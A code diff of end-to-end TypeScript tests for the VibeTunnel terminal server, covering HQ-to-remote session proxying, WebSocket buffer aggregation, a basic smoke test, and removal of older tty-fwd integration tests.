||||
const hqUsername = 'hq-admin';
|
||||
const hqPassword = 'hq-pass123';
|
||||
const testDirs: string[] = [];
|
||||
const baseDir = path.join(os.tmpdir(), 'vibetunnel-hq-e2e', uuidv4());
|
||||
|
||||
async function sleep(ms: number): Promise<void> {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
async function waitForServer(
|
||||
port: number,
|
||||
username?: string,
|
||||
password?: string,
|
||||
maxAttempts = 30
|
||||
): Promise<boolean> {
|
||||
for (let i = 0; i < maxAttempts; i++) {
|
||||
try {
|
||||
const headers: Record<string, string> = {};
|
||||
if (username && password) {
|
||||
headers.Authorization = `Basic ${Buffer.from(`${username}:${password}`).toString('base64')}`;
|
||||
}
|
||||
|
||||
const response = await fetch(`http://localhost:${port}/api/health`, { headers });
|
||||
if (response.ok) {
|
||||
return true;
|
||||
}
|
||||
} catch (_e: unknown) {
|
||||
// Server not ready yet
|
||||
}
|
||||
await sleep(1000);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
async function startServer(
|
||||
args: string[],
|
||||
env: Record<string, string>
|
||||
): Promise<{ process: ChildProcess; port: number }> {
|
||||
const serverPath = path.join(__dirname, '..', '..', 'server.ts');
|
||||
console.log(`[DEBUG] Starting server at: ${serverPath}`);
|
||||
console.log(`[DEBUG] Args: ${args.join(' ')}`);
|
||||
|
||||
const serverProcess = spawn('tsx', [serverPath, ...args], {
|
||||
env: { ...process.env, ...env, NODE_ENV: 'production', FORCE_COLOR: '0' },
|
||||
stdio: 'pipe',
|
||||
detached: false, // Ensure child dies with parent
|
||||
});
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
let port = 0;
|
||||
let resolved = false;
|
||||
|
||||
let outputBuffer = '';
|
||||
serverProcess.stdout?.on('data', (data) => {
|
||||
const chunk = data.toString();
|
||||
outputBuffer += chunk;
|
||||
console.log(`[SERVER OUTPUT] ${chunk.trim()}`);
|
||||
|
||||
// Extract port from "VibeTunnel Server running on" message
|
||||
const portMatch = outputBuffer.match(
|
||||
/VibeTunnel Server running on http:\/\/localhost:(\d+)/
|
||||
);
|
||||
if (portMatch && !resolved) {
|
||||
port = parseInt(portMatch[1]);
|
||||
resolved = true;
|
||||
resolve({ process: serverProcess, port });
|
||||
}
|
||||
});
|
||||
|
||||
serverProcess.stderr?.on('data', (data) => {
|
||||
console.error(`[SERVER ERROR] ${data.toString().trim()}`);
|
||||
});
|
||||
|
||||
serverProcess.on('error', (err) => {
|
||||
console.error(`[SERVER ERROR EVENT] ${err}`);
|
||||
reject(err);
|
||||
});
|
||||
|
||||
serverProcess.on('exit', (code, signal) => {
|
||||
console.error(`[SERVER EXIT] code: ${code}, signal: ${signal}`);
|
||||
if (!resolved) {
|
||||
reject(new Error(`Server exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
|
||||
// Timeout after 10 seconds
|
||||
setTimeout(() => reject(new Error('Server failed to start within timeout')), 10000);
|
||||
});
|
||||
}
|
||||
|
||||
beforeAll(async () => {
|
||||
// Start HQ server
|
||||
const hqDir = path.join(baseDir, 'hq');
|
||||
fs.mkdirSync(hqDir, { recursive: true });
|
||||
testDirs.push(hqDir);
|
||||
|
||||
const hqResult = await startServer(
|
||||
['--port', '0', '--hq', '--username', hqUsername, '--password', hqPassword],
|
||||
{
|
||||
VIBETUNNEL_CONTROL_DIR: hqDir,
|
||||
}
|
||||
);
|
||||
hqProcess = hqResult.process;
|
||||
hqPort = hqResult.port;
|
||||
|
||||
expect(hqPort).toBeGreaterThan(0);
|
||||
|
||||
// Start remote servers
|
||||
for (let i = 0; i < 3; i++) {
|
||||
const remoteDir = path.join(baseDir, `remote-${i}`);
|
||||
fs.mkdirSync(remoteDir, { recursive: true });
|
||||
testDirs.push(remoteDir);
|
||||
|
||||
const remoteResult = await startServer(
|
||||
[
|
||||
'--port',
|
||||
'0',
|
||||
'--username',
|
||||
`remote${i}`,
|
||||
'--password',
|
||||
`remotepass${i}`,
|
||||
'--hq-url',
|
||||
`http://localhost:${hqPort}`,
|
||||
'--hq-username',
|
||||
hqUsername,
|
||||
'--hq-password',
|
||||
hqPassword,
|
||||
'--name',
|
||||
`remote-${i}`,
|
||||
'--allow-insecure-hq',
|
||||
],
|
||||
{
|
||||
VIBETUNNEL_CONTROL_DIR: remoteDir,
|
||||
}
|
||||
);
|
||||
|
||||
remoteProcesses.push(remoteResult.process);
|
||||
remotePorts.push(remoteResult.port);
|
||||
expect(remoteResult.port).toBeGreaterThan(0);
|
||||
expect(remoteResult.port).not.toBe(hqPort);
|
||||
}
|
||||
|
||||
// Wait for HQ server to be ready
|
||||
const hqReady = await waitForServer(hqPort, hqUsername, hqPassword);
|
||||
expect(hqReady).toBe(true);
|
||||
|
||||
// Wait for all remote servers to be ready
|
||||
for (let i = 0; i < remotePorts.length; i++) {
|
||||
const remoteReady = await waitForServer(remotePorts[i], `remote${i}`, `remotepass${i}`);
|
||||
expect(remoteReady).toBe(true);
|
||||
}
|
||||
|
||||
// Wait for registration to complete
|
||||
await sleep(2000);
|
||||
}, 60000); // 60 second timeout for setup
|
||||
|
||||
afterAll(async () => {
|
||||
// Helper to properly kill a process
|
||||
const killProcess = async (proc: ChildProcess | null, name: string) => {
|
||||
if (!proc) return;
|
||||
|
||||
return new Promise<void>((resolve) => {
|
||||
const timeout = setTimeout(() => {
|
||||
console.log(`[TEST] Force killing ${name} process`);
|
||||
try {
|
||||
proc.kill('SIGKILL');
|
||||
} catch (_e) {
|
||||
// Process may already be dead
|
||||
}
|
||||
resolve();
|
||||
}, 5000);
|
||||
|
||||
const checkExit = () => {
|
||||
if (proc.killed || proc.exitCode !== null) {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
}
|
||||
};
|
||||
|
||||
// Check if already exited
|
||||
checkExit();
|
||||
|
||||
// Set up exit listener
|
||||
proc.once('exit', () => {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
});
|
||||
|
||||
// Try SIGTERM first
|
||||
try {
|
||||
proc.kill('SIGTERM');
|
||||
} catch (_e) {
|
||||
// Process may already be dead
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
// Kill all remote processes
|
||||
await Promise.all(remoteProcesses.map((proc, i) => killProcess(proc, `remote-${i}`)));
|
||||
|
||||
// Kill HQ process
|
||||
await killProcess(hqProcess, 'HQ');
|
||||
|
||||
// Clean up directories
|
||||
for (const dir of testDirs) {
|
||||
try {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
} catch (_e) {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
}
|
||||
}, 30000); // 30 second timeout for cleanup
|
||||
|
||||
it('should list all registered remotes', async () => {
|
||||
const response = await fetch(`http://localhost:${hqPort}/api/remotes`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
|
||||
expect(response.ok).toBe(true);
|
||||
const remotes = await response.json();
|
||||
expect(remotes).toHaveLength(3);
|
||||
|
||||
for (let i = 0; i < 3; i++) {
|
||||
const remote = remotes.find((r: { name: string; url: string }) => r.name === `remote-${i}`);
|
||||
expect(remote).toBeDefined();
|
||||
expect(remote.url).toBe(`http://localhost:${remotePorts[i]}`);
|
||||
}
|
||||
});
|
||||
|
||||
it('should create sessions on remote servers', async () => {
|
||||
const sessionIds: string[] = [];
|
||||
|
||||
// Get remotes
|
||||
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
const remotes = await remotesResponse.json();
|
||||
|
||||
// Create session on each remote
|
||||
for (const remote of remotes) {
|
||||
const response = await fetch(`http://localhost:${hqPort}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
command: ['echo', `hello from ${remote.name}`],
|
||||
workingDir: os.tmpdir(),
|
||||
name: `Test session on ${remote.name}`,
|
||||
remoteId: remote.id,
|
||||
}),
|
||||
});
|
||||
|
||||
expect(response.ok).toBe(true);
|
||||
const { sessionId } = await response.json();
|
||||
expect(sessionId).toBeDefined();
|
||||
sessionIds.push(sessionId);
|
||||
}
|
||||
|
||||
// Wait for sessions to be created
|
||||
await sleep(1000);
|
||||
|
||||
// Get all sessions and verify aggregation
|
||||
const allSessionsResponse = await fetch(`http://localhost:${hqPort}/api/sessions`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
|
||||
expect(allSessionsResponse.ok).toBe(true);
|
||||
const allSessions = await allSessionsResponse.json();
|
||||
const remoteSessions = allSessions.filter((s: { remoteName?: string }) => s.remoteName);
|
||||
expect(remoteSessions.length).toBeGreaterThanOrEqual(3);
|
||||
});
|
||||
|
||||
it('should proxy session operations to remote servers', async () => {
|
||||
// Get a fresh list of remotes to ensure we have current data
|
||||
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
const remotes = await remotesResponse.json();
|
||||
const remote = remotes[0];
|
||||
|
||||
// Create session on remote
|
||||
const createResponse = await fetch(`http://localhost:${hqPort}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
command: ['bash', '-c', 'while true; do read input; echo "Got: $input"; done'],
|
||||
workingDir: os.tmpdir(),
|
||||
name: 'Proxy Test Session',
|
||||
remoteId: remote.id,
|
||||
}),
|
||||
});
|
||||
|
||||
expect(createResponse.ok).toBe(true);
|
||||
const { sessionId } = await createResponse.json();
|
||||
|
||||
// Wait a bit for session to be fully created and registered
|
||||
await sleep(1000);
|
||||
|
||||
// Get session info through HQ (should proxy to remote)
|
||||
const infoResponse = await fetch(`http://localhost:${hqPort}/api/sessions/${sessionId}`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
|
||||
expect(infoResponse.ok).toBe(true);
|
||||
const sessionInfo = await infoResponse.json();
|
||||
expect(sessionInfo.id).toBe(sessionId);
|
||||
expect(sessionInfo.name).toBe('Proxy Test Session');
|
||||
|
||||
// Send input through HQ
|
||||
const inputResponse = await fetch(
|
||||
`http://localhost:${hqPort}/api/sessions/${sessionId}/input`,
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
body: JSON.stringify({ text: 'echo "proxied input"\n' }),
|
||||
}
|
||||
);
|
||||
expect(inputResponse.ok).toBe(true);
|
||||
|
||||
// Kill session through HQ
|
||||
const killResponse = await fetch(`http://localhost:${hqPort}/api/sessions/${sessionId}`, {
|
||||
method: 'DELETE',
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
expect(killResponse.ok).toBe(true);
|
||||
});
|
||||
|
||||
it('should aggregate buffer updates through WebSocket', async () => {
|
||||
const sessionIds: string[] = [];
|
||||
|
||||
// Create sessions for WebSocket test
|
||||
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
const remotes = await remotesResponse.json();
|
||||
|
||||
for (const remote of remotes) {
|
||||
const response = await fetch(`http://localhost:${hqPort}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
command: [
|
||||
'bash',
|
||||
'-c',
|
||||
`for i in {1..3}; do echo "${remote.name} message $i"; sleep 0.1; done`,
|
||||
],
|
||||
workingDir: os.tmpdir(),
|
||||
name: `WS Test on ${remote.name}`,
|
||||
remoteId: remote.id,
|
||||
}),
|
||||
});
|
||||
const { sessionId } = await response.json();
|
||||
sessionIds.push(sessionId);
|
||||
}
|
||||
|
||||
// Connect to WebSocket
|
||||
const ws = new WebSocket(`ws://localhost:${hqPort}/buffers`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
|
||||
const receivedBuffers = new Set<string>();
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
reject(new Error('WebSocket test timeout'));
|
||||
}, 10000);
|
||||
|
||||
ws.on('open', () => {
|
||||
// Subscribe to all sessions
|
||||
for (const sessionId of sessionIds) {
|
||||
ws.send(JSON.stringify({ type: 'subscribe', sessionId }));
|
||||
}
|
||||
});
|
||||
|
||||
ws.on('message', (data: Buffer) => {
|
||||
if (data[0] === 0xbf) {
|
||||
// Binary buffer update
|
||||
const sessionIdLength = data.readUInt32LE(1);
|
||||
const sessionId = data.subarray(5, 5 + sessionIdLength).toString('utf8');
|
||||
receivedBuffers.add(sessionId);
|
||||
|
||||
if (receivedBuffers.size >= sessionIds.length) {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
}
|
||||
} else {
|
||||
// JSON message
|
||||
try {
|
||||
const msg = JSON.parse(data.toString());
|
||||
if (msg.type === 'ping') {
|
||||
ws.send(JSON.stringify({ type: 'pong' }));
|
||||
}
|
||||
} catch (_e) {
|
||||
// Ignore parse errors
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
ws.on('error', reject);
|
||||
});
|
||||
|
||||
ws.close();
|
||||
expect(receivedBuffers.size).toBe(sessionIds.length);
|
||||
});
|
||||
|
||||
it('should cleanup exited sessions across all servers', async () => {
|
||||
// Create sessions that will exit immediately
|
||||
const remotesResponse = await fetch(`http://localhost:${hqPort}/api/remotes`, {
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
const remotes = await remotesResponse.json();
|
||||
|
||||
for (const remote of remotes) {
|
||||
await fetch(`http://localhost:${hqPort}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
body: JSON.stringify({
|
||||
command: ['echo', 'exit immediately'],
|
||||
workingDir: os.tmpdir(),
|
||||
remoteId: remote.id,
|
||||
}),
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for sessions to exit
|
||||
await sleep(2000);
|
||||
|
||||
// Run cleanup
|
||||
const cleanupResponse = await fetch(`http://localhost:${hqPort}/api/cleanup-exited`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
Authorization: `Basic ${Buffer.from(`${hqUsername}:${hqPassword}`).toString('base64')}`,
|
||||
},
|
||||
});
|
||||
|
||||
expect(cleanupResponse.ok).toBe(true);
|
||||
const cleanupResult = await cleanupResponse.json();
|
||||
expect(cleanupResult.success).toBe(true);
|
||||
expect(cleanupResult.remoteResults).toBeDefined();
|
||||
expect(cleanupResult.remoteResults.length).toBe(3);
|
||||
});
|
||||
});
|
||||
228
web/src/test/e2e/server-smoke.e2e.test.ts
Normal file
228
web/src/test/e2e/server-smoke.e2e.test.ts
Normal file
|
|
@ -0,0 +1,228 @@
|
|||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { spawn, ChildProcess } from 'child_process';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
|
||||
describe('Server Smoke Test', () => {
|
||||
let serverProcess: ChildProcess | null = null;
|
||||
let serverPort = 0;
|
||||
const testDir = path.join(os.tmpdir(), 'vibetunnel-smoke-test', uuidv4());
|
||||
|
||||
async function startServer(): Promise<number> {
|
||||
const serverPath = path.join(__dirname, '..', '..', 'server.ts');
|
||||
|
||||
serverProcess = spawn('tsx', [serverPath, '--port', '0'], {
|
||||
env: {
|
||||
...process.env,
|
||||
VIBETUNNEL_CONTROL_DIR: testDir,
|
||||
VIBETUNNEL_USERNAME: undefined,
|
||||
VIBETUNNEL_PASSWORD: undefined,
|
||||
NODE_ENV: 'production',
|
||||
FORCE_COLOR: '0',
|
||||
},
|
||||
stdio: 'pipe',
|
||||
detached: false, // Ensure child dies with parent
|
||||
});
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
let outputBuffer = '';
|
||||
let resolved = false;
|
||||
|
||||
const timeout = setTimeout(() => {
|
||||
if (!resolved) {
|
||||
reject(new Error('Server failed to start within timeout'));
|
||||
}
|
||||
}, 10000);
|
||||
|
||||
if (serverProcess && serverProcess.stdout) {
|
||||
serverProcess.stdout.on('data', (data) => {
|
||||
const chunk = data.toString();
|
||||
outputBuffer += chunk;
|
||||
console.log(`[SERVER] ${chunk.trim()}`);
|
||||
|
||||
// Extract port from output
|
||||
const portMatch = outputBuffer.match(
|
||||
/VibeTunnel Server running on http:\/\/localhost:(\d+)/
|
||||
);
|
||||
if (portMatch && !resolved) {
|
||||
resolved = true;
|
||||
clearTimeout(timeout);
|
||||
const port = parseInt(portMatch[1]);
|
||||
resolve(port);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (serverProcess && serverProcess.stderr) {
|
||||
serverProcess.stderr.on('data', (data) => {
|
||||
console.error(`[SERVER ERROR] ${data.toString().trim()}`);
|
||||
});
|
||||
}
|
||||
|
||||
if (serverProcess) {
|
||||
serverProcess.on('error', (err) => {
|
||||
if (!resolved) {
|
||||
clearTimeout(timeout);
|
||||
reject(err);
|
||||
}
|
||||
});
|
||||
|
||||
serverProcess.on('exit', (code, signal) => {
|
||||
if (!resolved) {
|
||||
clearTimeout(timeout);
|
||||
reject(new Error(`Server exited with code ${code}, signal ${signal}`));
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
beforeAll(async () => {
|
||||
// Create test directory
|
||||
fs.mkdirSync(testDir, { recursive: true });
|
||||
|
||||
// Start server
|
||||
serverPort = await startServer();
|
||||
console.log(`Server started on port ${serverPort}`);
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
// Kill server
|
||||
if (serverProcess) {
|
||||
// First try SIGTERM
|
||||
serverProcess.kill('SIGTERM');
|
||||
|
||||
// Wait for process to exit
|
||||
await new Promise<void>((resolve) => {
|
||||
const timeout = setTimeout(() => {
|
||||
console.log('[TEST] Force killing server process');
|
||||
try {
|
||||
if (serverProcess) {
|
||||
serverProcess.kill('SIGKILL');
|
||||
}
|
||||
} catch (_e) {
|
||||
// Process may already be dead
|
||||
}
|
||||
resolve();
|
||||
}, 5000);
|
||||
|
||||
const checkExit = () => {
|
||||
if (serverProcess && (serverProcess.killed || serverProcess.exitCode !== null)) {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
}
|
||||
};
|
||||
|
||||
// Check if already exited
|
||||
checkExit();
|
||||
|
||||
// Set up exit listener
|
||||
if (serverProcess) {
|
||||
serverProcess.once('exit', () => {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Clean up test directory
|
||||
try {
|
||||
fs.rmSync(testDir, { recursive: true, force: true });
|
||||
} catch (e) {
|
||||
console.error('Failed to clean up test directory:', e);
|
||||
}
|
||||
});
|
||||
|
||||
it('should perform basic operations', async () => {
|
||||
const baseUrl = `http://localhost:${serverPort}`;
|
||||
|
||||
// 1. Health check
|
||||
console.log('1. Testing health check...');
|
||||
const healthResponse = await fetch(`${baseUrl}/api/health`);
|
||||
expect(healthResponse.ok).toBe(true);
|
||||
const health = await healthResponse.json();
|
||||
expect(health.status).toBe('ok');
|
||||
|
||||
// 2. List sessions (should be empty)
|
||||
console.log('2. Listing sessions...');
|
||||
const listResponse = await fetch(`${baseUrl}/api/sessions`);
|
||||
expect(listResponse.ok).toBe(true);
|
||||
const sessions = await listResponse.json();
|
||||
expect(sessions).toEqual([]);
|
||||
|
||||
// 3. Create a session
|
||||
console.log('3. Creating session...');
|
||||
const createResponse = await fetch(`${baseUrl}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
command: ['echo', 'hello world'],
|
||||
options: {
|
||||
sessionName: 'test-session',
|
||||
cols: 80,
|
||||
rows: 24,
|
||||
},
|
||||
}),
|
||||
});
|
||||
expect(createResponse.ok).toBe(true);
|
||||
const createResult = await createResponse.json();
|
||||
expect(createResult.sessionId).toBeDefined();
|
||||
const sessionId = createResult.sessionId;
|
||||
console.log(`Created session: ${sessionId}`);
|
||||
|
||||
// 4. Send input
|
||||
console.log('4. Sending input...');
|
||||
const inputResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}/input`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ text: '\n' }),
|
||||
});
|
||||
expect(inputResponse.ok).toBe(true);
|
||||
|
||||
// Wait a bit for the command to execute
|
||||
await new Promise<void>((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// 5. Get buffer
|
||||
console.log('5. Getting buffer...');
|
||||
const bufferResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}/buffer`);
|
||||
expect(bufferResponse.ok).toBe(true);
|
||||
expect(bufferResponse.headers.get('content-type')).toBe('application/octet-stream');
|
||||
const buffer = await bufferResponse.arrayBuffer();
|
||||
expect(buffer.byteLength).toBeGreaterThan(0);
|
||||
console.log(`Buffer size: ${buffer.byteLength} bytes`);
|
||||
|
||||
// 6. List sessions again (should have one)
|
||||
console.log('6. Listing sessions again...');
|
||||
const listResponse2 = await fetch(`${baseUrl}/api/sessions`);
|
||||
expect(listResponse2.ok).toBe(true);
|
||||
const sessions2 = await listResponse2.json();
|
||||
expect(sessions2.length).toBe(1);
|
||||
expect(sessions2[0].id).toBe(sessionId);
|
||||
|
||||
// 7. Kill session
|
||||
console.log('7. Killing session...');
|
||||
const killResponse = await fetch(`${baseUrl}/api/sessions/${sessionId}`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
expect(killResponse.ok).toBe(true);
|
||||
|
||||
// Wait for session to be cleaned up
|
||||
await new Promise<void>((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// 8. Verify session is gone
|
||||
console.log('8. Verifying session is gone...');
|
||||
const listResponse3 = await fetch(`${baseUrl}/api/sessions`);
|
||||
expect(listResponse3.ok).toBe(true);
|
||||
const sessions3 = await listResponse3.json();
|
||||
// Session might still exist but marked as exited
|
||||
const session = sessions3.find((s: { id: string }) => s.id === sessionId);
|
||||
if (session) {
|
||||
expect(session.status).toBe('exited');
|
||||
}
|
||||
|
||||
console.log('All tests passed!');
|
||||
});
|
||||
});
|
||||
|
|
@ -1,190 +0,0 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
import { spawn } from 'child_process';
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
|
||||
describe('Basic Integration Test', () => {
|
||||
describe('tty-fwd binary', () => {
|
||||
it('should be available and executable', () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
expect(fs.existsSync(ttyFwdPath)).toBe(true);
|
||||
|
||||
// Check if executable
|
||||
try {
|
||||
fs.accessSync(ttyFwdPath, fs.constants.X_OK);
|
||||
expect(true).toBe(true);
|
||||
} catch (_e) {
|
||||
expect(_e).toBeUndefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('should show help information', async () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
|
||||
const result = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--help']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}: ${output}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
expect(result).toContain('tty-fwd');
|
||||
expect(result).toContain('Usage:');
|
||||
});
|
||||
|
||||
it('should list sessions (empty)', async () => {
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
|
||||
|
||||
// Create control directory
|
||||
fs.mkdirSync(controlDir, { recursive: true });
|
||||
|
||||
try {
|
||||
const result = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Should return empty JSON object for no sessions
|
||||
const sessions = JSON.parse(result);
|
||||
expect(typeof sessions).toBe('object');
|
||||
expect(Object.keys(sessions)).toHaveLength(0);
|
||||
} finally {
|
||||
// Clean up
|
||||
fs.rmSync(controlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it.skip('should create and list a session', async () => {
|
||||
// Skip this test as it's specific to tty-fwd binary behavior
|
||||
// The server is now using node-pty by default
|
||||
const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd');
|
||||
const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now());
|
||||
|
||||
// Create control directory
|
||||
fs.mkdirSync(controlDir, { recursive: true });
|
||||
|
||||
try {
|
||||
// Create a session
|
||||
const createResult = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, [
|
||||
'--control-path',
|
||||
controlDir,
|
||||
'--session-name',
|
||||
'Test Session',
|
||||
'--',
|
||||
'echo',
|
||||
'Hello from tty-fwd',
|
||||
]);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on('data', (data) => {
|
||||
console.error('tty-fwd stderr:', data.toString());
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
// tty-fwd spawn returns session ID on stdout, or empty if spawned in background
|
||||
resolve(output.trim() || 'session-created');
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// Should return a session ID or success indicator
|
||||
expect(createResult).toBeTruthy();
|
||||
|
||||
// Wait a bit for the session to be fully created
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
|
||||
// List sessions
|
||||
const listResult = await new Promise<string>((resolve, reject) => {
|
||||
const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']);
|
||||
let output = '';
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve(output);
|
||||
} else {
|
||||
reject(new Error(`Process exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// tty-fwd returns sessions as JSON object
|
||||
const sessions = JSON.parse(listResult);
|
||||
expect(typeof sessions).toBe('object');
|
||||
// The session should be listed (note: tty-fwd might use a different key format)
|
||||
const sessionKeys = Object.keys(sessions);
|
||||
expect(sessionKeys.length).toBeGreaterThan(0);
|
||||
} finally {
|
||||
// Clean up
|
||||
fs.rmSync(controlDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Server startup', () => {
|
||||
it('should verify server dependencies exist', () => {
|
||||
// Check that key files exist
|
||||
const serverPath = path.resolve(__dirname, '../../server.ts');
|
||||
const publicPath = path.resolve(__dirname, '../../../public');
|
||||
|
||||
// Debug paths
|
||||
console.log('Looking for server at:', serverPath);
|
||||
console.log('Server exists:', fs.existsSync(serverPath));
|
||||
console.log('Looking for public at:', publicPath);
|
||||
console.log('Public exists:', fs.existsSync(publicPath));
|
||||
|
||||
expect(fs.existsSync(serverPath)).toBe(true);
|
||||
expect(fs.existsSync(publicPath)).toBe(true);
|
||||
});
|
||||
|
||||
it('should load server module without crashing', async () => {
|
||||
// Set up environment
|
||||
process.env.NODE_ENV = 'test';
|
||||
process.env.PORT = '0';
|
||||
|
||||
// This will test that the server module can be loaded
|
||||
// In a real test, you'd start the server in a separate process
|
||||
const serverPath = path.resolve(__dirname, '../../server.ts');
|
||||
expect(fs.existsSync(serverPath)).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
